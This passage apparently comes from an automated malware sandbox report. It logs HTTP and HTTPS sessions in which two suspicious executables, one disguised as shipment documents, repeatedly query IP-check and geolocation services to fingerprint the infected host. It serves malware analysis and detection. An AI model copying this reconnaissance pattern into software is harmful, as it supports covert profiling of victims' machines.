Oct 11, 2024 09:35:26.655930996 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7d5d61084874855c9cb89c0e1fafa04b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49759	132.226.247.73	80	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:26.983357906 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:27.674367905 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:27 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a5fd577165439802edf940f3b649e14b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49760	132.226.247.73	80	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:27.408684969 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:28.071233988 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:27 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d2db1517ce00b569d190494ab3705947 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49763	132.226.247.73	80	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:28.289654970 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:28.953393936 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:28 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: dbb51839ccbd7a618c9b7743c2aad139 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49764	132.226.247.73	80	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:28.694603920 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:29.394510031 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:29 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b4a7c914b1eee4b45006f03c012fe24b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49768	132.226.247.73	80	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 09:35:30.023770094 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 11, 2024 09:35:30.688242912 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 781319fcd30c2d818c148eacd2fda05a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	188.114.96.3	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:19 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-11 07:35:19 UTC	699	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cU%2FZMJXKNwcpmwEiqd9cVMr5%2Bh7xKFKObTxQhri6EVgkavrRLLmywWJ0n0u%2B%2Bmsg1K9FpQU0MC0NcG1iaqErJ4q4uBq7KAUHpY%2B99iZrhrUBMpoenMJ6ZqjPKdkJy60rKJVue0zX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c38497c1815-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:19 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	188.114.96.3	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:20 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-11 07:35:20 UTC	700	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 1 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KdLEw1RTyrgO1qBCOEfIayfxedSakvwbOY0DkiR7uLv3GH0UhBATZa9nq3AFYNR%2Bi%2F4pGhC0ajgwQvMFsYXGWjsHNDyOidFwyXbFPESQ4b1KAcLWqAfzntcF5xDKs5PbGYPIB4kB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c404c960f63-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:20 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	188.114.96.3	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:21 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-11 07:35:21 UTC	702	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yEU%2B8CHXIMo9HU4t2lECYw9aTeh3R3F4P6MBQRrtCHscTy9fZa3GBJAW41Vj4GJ5TBN3Co0l7nijtzncjETD7aQjJtYLfgpJacYXzoG8e8EPDYy9z%2BgHqcbH%2FkOHG79iShMG20I3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c457ac34358-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:21 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	188.114.96.3	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:21 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-11 07:35:21 UTC	712	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IxudtAYZK9cKz01c2kOK18RfMHj1vmfFh6%2FexpG%2FewO%2BOd0NamOy2ncxD0rJEXUgVS%2Bh0GPhLrH7KHcmHF%2B1jQ432Mq8MWrYXaXn6%2BQIy%2FuB7ZXIO2SI7CRUJHzQyRrpaFn%2Bq3n1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c483c5a42d1-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:21 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	188.114.96.3	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:21 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-11 07:35:22 UTC	702	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:22 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 3 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vWumMPE4dUJQtVIyXq2BcYKgmXw%2FVpaWqONPxMe9b4YJ3GX100ZKLTNaJZ45TJgUy4sV51Apm6ynBE%2FOTuAV0NNiFL28diOINLPE%2FDwPNpbxCQ73zpK4dceEDs8XerGTIjVw6wnK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c4a98a380e2-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:22 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	188.114.96.3	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:22 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-11 07:35:23 UTC	700	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:22 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 3 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m7SH63OV42T2GliWy191I3SQZ378Z7S1ZWuFTAlfyo7PUqhWpl0TbNbz566xUWrmEryGgdNnHDOlggO0t4H%2B3x2jegv9XMX0rncWZGdvHT0bUDYBCS6%2FlrKeFfTmYlQ3U5mW1tZE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c507de7c332-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:23 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	188.114.96.3	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:23 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-11 07:35:23 UTC	706	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:23 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 4 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EqZtSLB4Iq9KfdnrI3z7%2Fe5vgDcyvP9gMVt5z5TUkTaWQ1cCm9k5x7sgkVcIwt6OasnODTt1bRBrjGoonYkbY7hN50%2F1zfc1jt%2FwP3UcqRwpFYsdX7Q3DB6oy%2FIe3u4NsNLn9PH%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c52aa0318cc-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:23 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	188.114.96.3	443	7768	C:\Users\user\Desktop\rShipmentDocuments.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:24 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-11 07:35:24 UTC	714	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:24 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 5 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2qe7t6%2BKNIcl%2FwxXBnGS5XND1RVk6l1DIdl5keNmok5h2d6U58HTiG%2FwyBrpIkhiQeG3z%2B%2Bz5Kn1Mb%2F5ftTA%2BwqrRiOFTm5dSQXx24J7mhHwXTnsgtd3htjg%2BH9RTDD4QMTr%2FxV3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c58cc3b1855-EWR alt-svc: h3=":443"; ma=86400
